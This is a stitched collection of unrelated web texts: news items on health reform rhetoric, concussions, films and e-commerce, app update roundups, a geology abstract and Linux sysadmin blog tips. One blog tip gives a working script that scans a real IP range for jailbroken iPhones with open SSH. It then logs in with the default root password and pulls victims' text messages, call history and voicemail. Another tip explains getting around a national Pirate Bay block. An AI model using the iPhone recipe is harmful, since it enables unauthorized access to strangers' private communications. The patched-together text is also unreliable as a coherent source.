Why Is It Always "Pulling the Plug on Grandma"?
The ugliest period of the health reform wars was the summer of 2009, when Sen. Chuck Grassley and others held out the scary specter of "pulling the plug" on Grandma . Now the Republicans are trying to repeal "Obamacare," and the Granny wars have reignited. Once again, Grandpa is nowhere to be seen.
"I can report that Granny is safe," President Obama told a health care advocacy group recently. "She may not feel that way," retorted Karl Rove, in a Wall Street Journal op-ed headlined " The Politics of Saving Granny ."
What did happen to Grandpa? Is anybody pulling the plug on him? Do we care?
Grandpas get old and sick, too. They get Medicare, and they run up bills, and they go in and out of hospitals, and they (and their families) face the same tough decisions about end-of life care. But Grandpa is not part of the never-ending rhetorical war on health reform. I don't think that's an accident. I called a couple of experts on language, gender, and medicine. They don't think it's an accident, either.
The "granny" phraseology strikes a whole symphony full of chords about vulnerability and powerlessness in a way that "granny and grandpa" don't. "Granny evokes sympathy, nurturing, warmth. Granny Smith apples. Food. Cookies. All the association with warmth and family," said Sylvia Chou, a sociolinguist who did doctoral research on how hospice patients, their families, and physicians discuss end of life. (Chou now works at the National Cancer Institute on health communication, not on health reform policy.)
Grandpa doesn't have such clear and universal imagery, Chou noted. Maybe we'll think of an old man and a young boy and fishing poles. Maybe we'll think "jolly." Some might think "grumpy." We don't think apple pie. Then layer on "pulling the plug." That phrase connotes, and denotes, a loss of power, coupled with a dehumanizing image of a machine.
"That 'pull the plug' phrase. It's very technological. You pull the plug ON someone," Chou said. Conversations between patients and doctors about end of life care are supposed to enhance autonomy. Plug-pulling distorts that, turning the patient into a powerless (literally) victim who could be switched off. Feminizing the language adds punch. Women, more than men, become "nonpeople" as they grow old, added linguist Deborah Tannen. Decisions are made about them, not by them.
Marcelline Block, co-editor of a new anthology called Gender Scripts in Medicine and Narrative , recalled other subtle and not so subtle threads in health reform about women's bodies-a lot more fighting about mammograms than prostate tests. Abortion, too. But that's not what shaped the public debate or fueled the town meetings that helped give rise to the Tea Party. It was Granny, the death panels, the plug. The end of life. The end of apple pie. But not, so far at least, the end of health reform.

Concussion research has yet to turn up therapies that can diminish the consequences of a mild traumatic brain injury or shorten the duration of its symptoms, the nation's leading group of neurologists concluded on Monday. But in athletics, there is one step that can avert lengthening symptoms or exacerbating damage from a blow to the head, the American Academy of Neurology wrote: Take the athlete out of the game or off the practice field when a concussion is suspected, and delay his or her return to play until the all-clear has been issued by a trainer or physician skilled in diagnosing and treating brain injury.
In new guidelines issued Monday by the academy, coaches and sideline trainers are urged to be particularly conservative in applying those rules to younger athletes, those who've had past concussions, those who practice fewer than three hours a week and those who play in a game, such as hockey, in which body-checking is routine.
The new set of guidelines is the first update to the medical specialists' recommendations since 1997. It underscores the value of putting athletes through a battery of cognitive tests before they begin participating in a sport. The neurologists concluded that those "baseline assessments," which are increasingly required among high school and college-level athletic programs, give physicians, coaches and athletic trainers a firmer footing on which to decide when a concussed athlete has regained his or her pre-injury cognitive function and can safely return to play.

Drag Strip List
A Comprehensive Encyclopedia
NOTE: Much of the historical research on pre-1978 drag strips has been completed, but research continues on bygone drag strips, i.e., those tracks that opened after 1977, but are now closed. We are systematically adding new content daily, having begun with the state of Alabama and progressing through all the states alphabetically. We are currently working on Hawaii. Last updated: 8/17/18
A Comprehensive Encyclopedia of Historic and Bygone U. S. Drag Strips
Includes Sanctioned, Independent, Outlaw, and Speedway Tracks
This is the most comprehensive listing of drag strips ever compiled. More than 1,000 drag strips, many long-closed, are numbered in this compilation. There are two main features in this encyclopedia: Location and Memories.
section contains the drag strip entries arranged by state, and therein, alphabetically by name of drag strip. On the
page, click on the state where the drag strip is located to go to that state's page. In each state, the first section lists all that state's drag strips in the chronological order in which they began operation. This listing is comprehensive. Then follows the entries for each drag strip in the state arranged in alphabetical order. These entries only include the historic drag strips, i.e., those that are at least forty years old or are bygone strips. If the drag strip had no official name (or research was unable to determine it), the city near where it was located is named followed by a generic "Drag Strip" in quotes. Drag strips that are still operating presently, although not always continuously, in their original location are
in the chronological listing. Entries offer an overview of the drag strip's history (with focus on the early years), a link to see it's location on a map, a link to share your
of that drag strip, and (when available) a link to view a YouTube video or listen to an old radio ad. Sources used in researching the drag strips primarily come from newspapers, combined with the Internet and you, the readers.
The condition of the old drag strips that have closed varies greatly. While some have been redeveloped and the old track completely obliterated, others are still intact. In those entries where the specific location of the historic drag strip is known, a code (numbering 1 thru 5) has been entered to identify the status, or present physical condition of the strip. The number designation in each entry is linked to the
page, where the meaning of each coded number (from 1 thru 5) is fully defined. In simple terms, the higher the number, i.e., 5, the more physical remnants of the old strip are still in place.
Historic drag strips, by definition for this encyclopedia, are at least forty years old, i.e., opened in 1978. Bygone drag strips, by definition, may not be very old, but no longer exist. For that reason, some drag strips that are still in operation, but not forty years old, may not have entries in this compilation--yet. But given time, they will be profiled in entries. The encyclopedia does not include venues for snowmobile or sand drags.
section contains recollections and photos submitted by readers. On the
page, click on the state to go to that state's drag strips to read/see what readers have submitted. If you have information to share,
us. Information may include corrections, additional input, or to share
about a drag strip. You may also send a scan of a few photos or a scan of a document that will be uploaded to appear with the text of your memory. In order to comply with copyright considerations, the photo or document must be items only in your possession; no copying of photos from the Internet.

Jeremy Renner May Play Julian Assange
In a film that Bill Condon would direct.
Ready the hairpiece! Deadline reports that Jeremy Renner is interested in playing Julian Assange for a WikiLeaks movie set up at DreamWorks; what's more, Bill Condon (Dreamgirls, The Twilight Saga: Breaking Dawn) may direct. After playing a government agent tasked with keeping secrets in Mission: Impossible — Ghost Protocol, The Avengers, and The Bourne Supremacy, this role would certainly provide Renner with a fun little flip. (So would the hairpiece.)

Residents and Property Managers Can Now Leverage Secure Credit Card Scanning Technology to Make Rental Payments
Residents and Property Managers Can Now Leverage Secure Credit Card Scanning Technology to Make Rental Payments
PALO ALTO, CA--(Marketwire - Feb 19, 2013) - Jumio, Inc., the fast growing online and mobile identity verification and payment company, today announced that RentPaidOnline™, a service of EFX Financial Services Inc., has selected Jumio's Netswipe to make mobile rent payments easier than ever for tenants.

With Netswipe, RentPaidOnline customers can now make a payment in a matter of seconds, helping to further ease the worry around making another late rent payment."

Kristen Bell may be famous for her sense of humor and bubbly personality, but she's no stranger to struggling with mental illness — and she wants you to know that there's absolutely no shame in that.
The actress, known for her roles as the spunky Veronica Mars and as Frozen's whimsical Princess Anna, recently sat down for an interview on Off Camera and revealed her experiences dealing with anxiety and depression.
"I'm extremely co-dependent," she told interviewer Sam Jones. "I shatter a little bit when I think people don't like me. That's part of why I lead with kindness and I compensate by being very bubbly all the time, because it really hurts my feelings when I know I'm not liked. And I know that's not very healthy and I fight it all the time."
The Migraine Depression Link: Are You at Risk?
"I also struggled a lot with anxiety and depression," she said, adding that coming from a family with a history of mental illness meant she had an early education about seeking help.She revealed that her grandmother was one of the first people to undergo electroshock therapy treatment for depression, which she says had a profound effect on her mother.
"[My mom's] a nurse, and she had the wherewithal to recognize that in herself when she was feeling it, and when I was 18 said, 'If you start to feel like you are twisting things around you, and you feel like there is no sunlight around you, and you are paralyzed with fear, this is what it is and here's how you can help yourself,'" she said.
According to the National Alliance on Mental Illness, one out of every five Americans suffer from mental illness every year. And, as Bell says, women are twice as likely to be diagnosed with anxiety disorder as men.The actress also added that she feels "no shame" in asking for help when she needs it — and neither should you. "If you do decide to go on a prescription to help yourself, understand that the world wants to shame you for that, but in the medical community, you would never deny a diabetic his insulin. Ever," she said. "But for some reason, when someone needs a serotonin inhibitor, they're immediately crazy or something."
3 Kinds of Deep Breathing Exercises to Ease Tension Anxiety and Pain
By opening up about her experience, Bell joins celebrities like Lena Dunham and Kate Middleton in speaking out and encouraging people not to suffer in silence and to overcome the undue shame that's often associated with mental illness. After all, taking care of our minds is just as important as taking care of our bodies.
Comments? Do you sense a stigma around mental health issues like depression and anxiety?

Flipkart's Uncovers 250 Fraud Sellers
Flipkart's Uncovers 250 Fraud Sellers
Posted by
on March 19, 2016
Top e-commerce player Flipkart has blacklisted 250
sellers on its platform after its ongoing 'mystery shopping' initiative found them to be selling substandard products.
Under the initiative, launched six months ago, more than 300 Flipkart employees and staff of a leading consultancy firm have been shopping from Flipkart.com. Called 'secret agents', they identify products or packages that are of substandard quality and send in pictures to an email ID that a Flipkart security team processes.
"We have received feedback of over 600 sellers. We took necessary action against 500 and blacklisted 40-50% of them," said Sachin Kotangale, senior director at Flipkart.
He said most of the identified sellers were either selling poor quality products, or defaulting on deliveries, or making wrong packaging or price labelling. The e-commerce giant is taking action against these sellers based on the frauds committed by them.
Sellers who have failed the 'quality check' have to undergo training on the way delivery is done, goods are packed, and more, he said.
Flipkart has 85,000 sellers on the platform.
Multiple cases of counterfeits being sold online spurred top e-commerce players to employ measures to run quality check of the sellers on their platforms.
In the recent past, buyers from leading online shopping sites have complained about fake products being supplied by some sellers. These products include copied versions of branded headphones, shoes, cosmetics, bags, USB drives and watches.
"With e-commerce companies getting bigger the problem is only going to increase as it is impossible to verify lakhs of sellers," said Arvind Singhal, chairman of consultant Technopak Advisors. "Even the biggest online retailer, Alibaba, is facing a torrent of counterfeit and sham goods," he said.
Besides selling fakes, online sellers have also started resorting to malpractices such as buying out rivals, or buying their own inventory online, in case they get cash back from websites.
"We don't offer cashbacks. But we have seen some sellers stock out rivals by just ordering and then returning their goods," Manish Maheshwari, head of seller ecosystem in Flipkart, had told ET in October.
Flipkart's data science team is also working on creating a system to identify fake product reviews and inflated star-ratings on the platform.
Its rivals such as Alibaba-backed Paytm and Amazon India have also employed measures to identify notorious sellers on their platform. Paytm had blacklisted about 3,000 fake sellers last year.

Save Paul Dergarabedian! Don't Go to the Movies This Weekend
How can you avert the horrible explosion of poor Paul Dergarabedian?
Look, we certainly have our problems with Hollywood obvious-restater Paul Dergarabedian, the head of box-office analysis firm Media by Numbers. We've called, with no success, for entertainment reporters to stop depending on Dergarabedian's inane commentary. But we certainly wish the guy no physical harm — which is why we're so alarmed by the story in this morning's Variety speculating that the darkness-and-light one-two punch of The Dark Knight and Mamma Mia! could make this coming weekend the most lucrative in box-office history.
What if Variety's right, and the box office this weekend surpasses the $218.4 million brought in that weekend in July 2006 when Pirates of the Caribbean: Dead Man's Chest opened? Can you imagine what would happen Monday morning? Paul Dergarabedian, whose entire life is comparing numbers with other numbers, would be faced with a number that's bigger than any number he's ever seen before. We shudder to imagine the consequences (though we're happy to have our genius photo editor Everett illustrate them, above).
How can you avert the horrible explosion of poor Paul Dergarabedian? Simple: Don't go to the movies this weekend. Don't let those box-office receipts pile up! If you were thinking about seeing Mamma Mia!, go to the zoo instead. If you already bought your tickets to see The Dark Knight in IMAX, give 'em to us. But for the love of God, don't let Paul Dergarabedian see a number on Monday morning that's larger than $218.4 million. No one wants that.

Welcome back to the return of our weekly Top 10 Android App Updates column, where we take a look at the most upgraded apps for the week. I've found that one of the best ways to discover useful apps is to look at what people are actually updating, and not focus on which apps have the most installs.
As in the past, we are going to filter out minor updates for the super popular apps that have over 10 million installs, but I'm going to make an exception for apps that had significant updates. I hope you enjoy this weekly feature and discover some apps that you might find useful.
AirDroid – Version 2.0
What's new in this version:
- Device-free (lab). Sign in on the web and AirDroid will launch automatically on the device, even when it's not nearby.
- Same-network-free. No more same WiFi network restriction. Access AirDroid through different network with an AirDroid account.
- Find Phone. Locate your device on a map. Lock it or wipe all data options.
- Call notification and initiate new call on your Android device.
- Remote camera.
- Improved SMS, Photo and File experience.
- Many other bug fixes and improvements.
AirDroid is the number one app for managing your Android device from the web. This new version includes a ton of new features, so check it out if you haven't used it in awhile.
Dragon – Version 3.1.0
What's new in this version:
- Set up your own phrase to wake up Dragon
- Dragon plays back name of caller of incoming call when app in driver mode
- Improvements in accuracy and latency
Dragon is another artificial intelligence app that attempts to recreate Tony Stark's virtual assistant Jarvis. This latest version lets you setup your own phrase to wake up the app, and it can run in the background so you can launch a command anytime the phone is active.
System Monitor – Version 1.1.06
What's new in this version:
- Battery Monitoring: I made a very powerful and flexible estimation algorithm, which is based on non tendencial statistics calculations. In some calculations it uses the statistical function median, instead of the classical average. This is because the median is very good when end-values are not known (such as battery values near to zero), or when one requires reduced importance to be attached to outliers, e.g., because they may be measurement errors (for example when we are playing games).
- Background Monitoring: Another nice and powerful feature that is new is the background monitoring. You can start sessions right away or even schedule them. The app will be collecting data when sessions are running and present a detailed report to the user (which can also be saved). For the CPU it will show you a time based graph and also statistics such as average, min and max values for usage and frequency. Same applies for Ram, Disk I/O and Network. Network is even separated in Wi-Fi and Mobile.
The developer Christian Göllner seems like a pretty nice guy and he let me know this "huge update" took him lots of weeks of thinking and coding, so I thought we should feature it. Check out the free version to see if you like it, and buy the paid version if you want to support the dev.
Kindle – Version 184.108.40.206
What's new in this version:
- Redesigned library experience.
- Carousel displays recent items on the Kindle app home screen.
- Navigation panel organizes content for quick access to your Books, Documents, and Newsstand periodicals.
- Browse all your items in the Cloud or just the content downloaded on your Android device.
- Explore and download popular samples in the Kindle Store.
- Fixed a crash some customers reported.
This latest version of Kindle for Android features a new design and user interface. Kindle says that, "Customers have told us they love the UI of Kindle Fire and how easy it is to access and navigate their digital content. We're extending this design to Kindle for Android by optimizing the Kindle Store for tablets, improving the library interface, redesigning the home screen, and simplifying navigation through the app."
StumbleUpon – Version 3.1.2
What's new in this version:
- Introducing Lists! Explore, stumble through, and get addicted to following Lists created by your fellow Stumblers!
- Toolbar: Optimized toolbar shows and hides on scroll
- Swipe: Engaging slide preview is now less sensitive
I haven't touched StumbleUpon in years, but their new cover image in Google Play encouraged me to download it. I am a news junkie, so I'm always willing to test out apps that help me discover new content. This latest version lets users create their own lists and share them with the StumbleUpon community.
Runtastic Pro – Version 3.6.5
What's new in this version:
- Search thousands of routes on a map or see nearby routes on a list. Use filters for distance and elevation.
- Create routes on runtastic.com and sync them to our app. Keep control of your tracks, enjoy routes in the 3D Earth View or analyze your performance with our Colored Traces feature.
- LifeFitness integration
- Faster data transmission for session uploads and downloads
- Fixed Heart Rate Connection Problems
- Fixed App doesn't start automatically while countdown
I have the entire family of Runtastic apps installed on my device, but Runtastic Pro is by far my favorite one. I use this in combination with a Zephyr Heart Rate Monitor, and it encouraged me to exercise like never before. This latest version lets you create your own routes and upload them to Runtastic.com to share with others.
FedEx Mobile – Version 2.5.0
What's new in this version:
- Sign-up and use FedEx Delivery Manager to customize deliveries to your home.
- Schedule the delivery
- Deliver to another address
- Provide delivery instructions
- Sign for a package
- Schedule a vacation hold
- Hold your package at a FedEx location
I used FedEx every week to ship or receive a package, so this latest update is great for me. The new version includes FedEx Delivery Manager that allows you to customize deliveries coming to your home.
WordPress – Version 2.3.1
What's new in this version:
- Action Bar added for easy access to common actions.
- Use the Menu Drawer to quickly navigate to other areas of the app. Just tap the arrow in the Action Bar or swipe to reveal the menu.
- Holo style used throughout the app.
WordPress for Android got a big UI update last week and a minor bug fix this week, but we still featured it because we haven't done this column in months. This app is a must have for anyone that runs a WordPress blog.
Moviefone – Version 18.104.22.168
What's new in this version:
- A whole new look and feel — showtimes, exclusive clips, and movie news have never looked so fine. You'll fall in love with Moviefone all over again.
- mPoints rewards — earn points and rewards for the things you're already doing – watching trailers, visiting daily, etc. Tap More for details.
- Bug fixes.
I don't think I'll ever give up IMDb for my movie needs, but Moviefone is a nice alternative and AOL continues to add new features. Version 2 includes a HOLO inspired theme and the ability to earn mPoints rewards.
Minimalistic Text – Version 126.96.36.199.3
What's new in this version:
- Complete new widget settings menu
- Buzz Launcher support
- Improved UI performance
- Added volume variables
- Text icons
- Help texts
Minimalistic Text is an awesome app that lets you create and customize your own clean looking widgets. This week's update is a minor bug fix, but it was recently updated to Version 3.0 and it deserves another look if you haven't used it in awhile.

The Doctor will see you now — or, more specifically, in a few weeks.
BBC America has acquired the Stateside rights to five Doctor Who specials that mark the end of both Russell T. Davies' stint as show-runner and David Tennant's run as the titular time-traveler. Producer Steven Moffat and actor Matt Smith will succeed Davies and Tennant starting with Season 5.
"The Next Doctor," aka the series' Christmas special, will air on BBCA June 27, says Variety, while the next outing, "Planet of the Dead," will debut sometime in July. Dates for "The Waters of Mars" and the two other specials have not been set, though all are expected to air by early 2010.
The BBC series' appearance on BBC America represents a rather ironic anomaly, since Sci Fi Channel claimed dibs on the first four seasons, leaving BBCA to unspool them a year after the fact.
But not only has BBC America secured a choice appointment with the Doctor, it also will premiere Torchwood: Children of Earth, a five-part event, in July (watch a video preview below).
The Who-Torchwood one-two punch will help BBCA tee up the debuts of two new shows: Being Human (starting July 25, and concerning a vampire, a werewolf and a ghost), and Survivors (about the last members of the human race after a virus snuffs 99 percent of the population; premiere TBA).

Ben 10: Train Champ
Ben is not the athletic type of guy and this is the reason why he switch into an alien whenever there are trouble around. After he turned into an alien, he can use their powers. As long as he knows what kind of powers the alien has, he can beat the enemies. However, what if, she can't turn into an alien anymore? This might not be possible, but he should expect the unexpected since it is just natural. There might come a time that his Omnitrix isn't going to work. Probably, the best idea for him is to run as fast as he can till the Omnitrix is working again. However, we all know that won't be easy since there would be some kind of obstacle on his way. This game exploit that fact and the idea here is to get as far as you can. There are no time limit in this game and there are certainly any finish line. This game is continual as you would keep on running till you are dead. The idea here is to make sure that no obstacle will slow you down. If you are out of the screen then the game will be over.

AbstractSamples of 20 chromitite, 14 ultramafic and mafic rock, and 9 laterite and soil samples from the Precambrian Sukinda and Nausahi ultramafic complexes, Orissa, India were analyzed for platinum-group elements (PGE). The maximum concentrations are: palladium, 13 parts per billion (ppb); platinum, 120 ppb; rhodium, 21 ppb; iridium, 210 ppb; and ruthenium, 630 ppb. Comparison of chondrite-normalized ratios of PGE for the chromitite samples of lower Proterozoic to Archean age with similar data from Paleozoic and Mesozoic ophiolite complexes strongly implies that these complexes represent Precambrian analogs of ophiolite complexes. This finding is consistent with the geology and petrology of the Indian complexes and suggests that plate-tectonic and ocean basin developement models probably apply to some parts of Precambrian shield areas. ?? 1985.

Here is the problem; you need to print a single line filled with dashes. Will you just echo 80 dashes or write a beautiful loop for it?
$ echo "--------------------------------------------------------------------------------"
$ n=0 ; while [ $n -lt 80 ] ; do printf "-" ; n=$(($n+1)) ; done ; echo
Both give the same result, but the easy solution is faster. Result from the machine where I am working on:
|Easy way
|Aesthetics way
|Time to execute:
|0.000 seconds
|0.039 seconds
|Bytes on disk
|Complexity level
|System calls
|lines printed in 1 minute
The numbers show that simplicity is more efficient.
The summertime is starting soon. What can you do on your Linux machine to be prepared for Daylight Saving Time?
Time is a very complicated matter; it shifts every half year, there are leap years and seconds, some countries change the start or end date of summertime, many countries have multiple timezones, some servers can be in one zone while the users can be in a different zone, and so on.
All the timezone information is stored in /usr/share/zoneinfo. The directories and files in there are definitions of what the displayed time should be. The displayed time is based on Coordinated Universal Time (UTC) adjusted to the rules listed in a timezone file in /usr/share/zoneinfo.
To modify the timezone for your computer; copy a timezone file to /etc/localtime. For example to set the timezone to Europe/Amsterdam:
# cp /usr/share/zoneinfo/Europe/Amsterdam /etc/localtime
system-config-time to manage time and timezones.
Most likely your Linux box is already prepared for DST. Above all that, Network Time Protocol (NTP) is so extremely easy to use, that syncing your time is no problem at all. To be prepared for DST, use NTP and update all packages on your Fedora machine like this:
# yum update
# yum install ntp
# service ntpd start
# chkconfig ntpd on
There seem to be some problems with Google Apps since approximately 11:00 CET on 24th of februari 2009. When you are trying to login, you'll get an error like this:
Server Error
The server encountered a temporary error and could not complete your request.
Please try again in 30 seconds.
The title bar reads:
502 Server Error
The issue is discussed in The Google support forum. Meanwhile, we will wait for Google Apps to be available again...
Using the program SCP is not needed, use this scipt to use SSH for transferring files:
$ ssh [email protected] "cat /remote/file" > /local/file
To use this trick in a shell script-wrapper:
$ cat ssh-scp.sh
#!/bin/sh -x
host=$(echo "$1" | cut [email protected] -f2 | cut -d: -f1)
user=$(echo "$1" | cut [email protected] -f1)
remotefile=$(echo "$1" | cut -d: -f2)
if [ ! "$host" -o ! "$user" -o ! "$remotefile" -o ! "$localfile ] ; then
echo "Please use all requires options, for example:"
echo "$0 [email protected]:./file ."
exit 1
ssh $host "cat $remotefile" > $localfile
$ chmod 755 ssh-scp.sh
Now "replace" the normal SCP by using an alias:
$ alias scp="~/ssh-scp.sh"
One flaw of this script is that all options will have to be configured statically in .ssh/config.
A jail broken Apple iPhone with OpenSSH installed is accessible over the internet using ssh and the default root password "alpine".
You can use a short script to find IP addresses that have port 22 open and try to login. You can run this script from your Mac or any Linux machine.
mkdir -p /tmp/scan-iphones/open
mkdir /tmp/scan-iphones/closed
while [ "$third" -lt 192 ] ; do
while [ "$fourth" -lt 255 ] ; do
if [ ! -f /tmp/scan-iphones/94.157."$third"."$fourth" ] ; then
if [ ! -f /tmp/scan-iphones/open/94.157."$third"."$fourth" ] ; then
if [ ! -f /tmp/scan-iphones/closed/94.157."$third"."$fourth" ] ; then
if [ -f /tmp/scan-iphones/stop ] ; then
echo "Stopping because /tmp/scan-iphone/stop exists."
exit 1
touch /tmp/scan-iphones/94.157."$third"."$fourth"
nc -w 1 -z 94.157."$third"."$fourth" 22-22 > /dev/null 2>&1 && touch /tmp/scan-iphones/open/94.157."$third"."$fourth" || touch /tmp/scan-iphones/closed/94.157."$third"."$fourth"
rm /tmp/scan-iphones/94.157."$third"."$fourth"
touch /tmp/scan-iphones/stop.
Now that you have IP addresses where you can login, use one of these "features":
From your Mac or any Linux machine, type:
$ ssh [email protected]
# sqlite3 /private/var/mobile/Library/SMS/sms.db
SELECT * FROM message;
From your Mac or any Linux machine, type:
$ ssh [email protected]
# sqlite3 /private/var/mobile/Library/CallHistory/call_history.db
SELECT * FROM call;
From your Mac or any Linux machine, type:
$ scp [email protected]:/private/var/mobile/Library/Voicemail/*.amr .
To secure your iPhone, you can use one or more of these measures:
# passwd.
# passwd mobile.
launchctl load -w /Library/LaunchDaemons/com.openssh.sshd.plist.
I hate it when people use week numbers, like "week 34". Week numbers are mostly not printed on any calendar or schedule. So; here is how to convert a date to a week number and a weeknumber to a date.
This is an easy one, because the man page of date simply explains:
%U - Displays week of the year(Sunday as the first day of the week) as a decimal number[00 - 53] . All days in a new year preceding the first Sunday are considered to be in week 0.
$ date +'%U'
A little harder, that why you don't have to figure it out yourself, just copy-paste and replace to meet your requirements:
$ date +'%U' 2009-10-2
This is not an easy one and requires a very nasty trick. To get a day in week 23 for example, use this command:
$ date --date="$(((23-$(date +'%U'))*7)) days"
Mon Jun 8 12:11:40 WEDT 2009
We all love The Pirate Bay, I guess the Danish people do too.
Now that The Pirate Bay is blocked for Danish people, here is a recipe for connecting to The Pirate Bay after all.
UPDATE: Simply visit The Pirate Bay through Me in IT Consultancy.
This is a very simple trick. Go to either Proxify, Zend2, or any other anonymous proxy and enter http://thepiratebay.org/.
Find yourself an open proxy in any country but Denmark.
This trick is a little harder, because it's not very easy to find a working open proxy and the proxies that are open tend to be shutdown or closed sooner or later.
This is an even more difficult trick, but works rather stable. It requires your to have access to a Linux or UNIX box somewhere outside Denmark.
Using OpenSSH:
$ ssh -L 8080:thepiratebay.org:80 machine-in-other-country.example.com
When that's successful; visit http://localhost:8080 from your web browser.
Using Putty:
When that's successful; visit http://localhost:8080 from your web browser.
Good luck on you!
It's been one month (23 days) since I move to Amazons EC2, aka Amazon Cloud, aka AWS. Overall I am very pleased with the performance of my instance, which I use as a webserver. Also the extra volumes perform great. It's been up for 100% in Januari 2009.
Here are some numbers so you can get an estimate of what Amazon EC2 cost:
|$0.11 per Small Instance (m1.small) instance-hour (or partial hour)
|537 Hrs
|$0.100 per GB Internet Data Transfer - all data transfer into Amazon EC2
|$0.170 per GB Internet Data Transfer - first 10 TB / month data transfer out of Amazon EC2
|$0.010 per GB Regional Data Transfer - in/out between Availability Zones or when using public IP or Elastic IP addresses
|$0.12 per GB-month of provisioned storage
|23.073 Count
|$0.11 per 1 million I/O requests
|4,398,873 Count
Overall I'd recommend Amazon EC2, but it's a little more expensive than an average Private Hosting plan, but this setup is more scalable.
If you're interested in high quality Amazon elastic cloud, use Newvem's AWS Support to achieve your goals.

Besides the extensive OpenVPN documentation I couldn't really find a step by step guide on how to setup an OpenVPN server and client.
I want to be able to connect my Fedora Core 10 laptop to the home-network via a Fedora Core 10 server.
The server is 192.168.0.1, running Fedora Core 10 with openvpn 2.1. Newer versions are likely to work as well.
The laptop has a dynamic IP address.
Please read the OpenVPN documentation if you run into troubles.
First setup the Certificate Authority keys.
cd /usr/share/openvpn/easy-rsa/2.0/
vi vars
# Fill KEY_COUNTRY, KEY_PROVINCE, KEY_CITY, KEY_ORG, and KEY_EMAIL, all at the bottom.
. ./vars
# Press "enter" on each item.
Now setup the Server key and the Diffie Hellman key.
./build-key-server server
# Press enter on each item.
And build the client keys, each client needs its own key, with a unique Common Name. The IP address assigned to the client is related to the Common Name, so if you use non-unique Common Names, you will have conflicting IP addresses.
./build-key client1
./build-key client2
./build-key client3
mv keys /etc/openvpn
cp /usr/share/doc/openvpn-2.1/sample-config-files/roadwarrior-server.conf /etc/openvpn/server.conf
vi /etc/openvpn/server.conf
# Check the ca, cert, key and dh variables.
Start the server by issuing:
chkconfig openvpn on
service openvpn start
Move the ca.cert, client1.crt and client1.key to the client, in /etc/openvpn/keys and copy the configuration. You will need to modify the client.conf a little bit.
/usr/share/doc/openvpn-2.1/sample-config-files/roadwarrior-client.conf /etc/openvpn/client.conf
vi /etc/openvpn/client.conf
# Find "remote" and set it to the internet address of your VPN server.
Start the client:
chkconfig openvpn on
service openvpn start
On both server and client issue
ifconfig tun0 to see what IP-address is assigned to the entry of the tunnel. From the either end of the tunnel you should be able to
ping the other end. Also
tcpdump -n -i tun0 should work.
Hope this works for you as well, check out /var/log/messages for information. /etc/init.d/openvpn status dump a status of all connected clients to /var/log/messages.
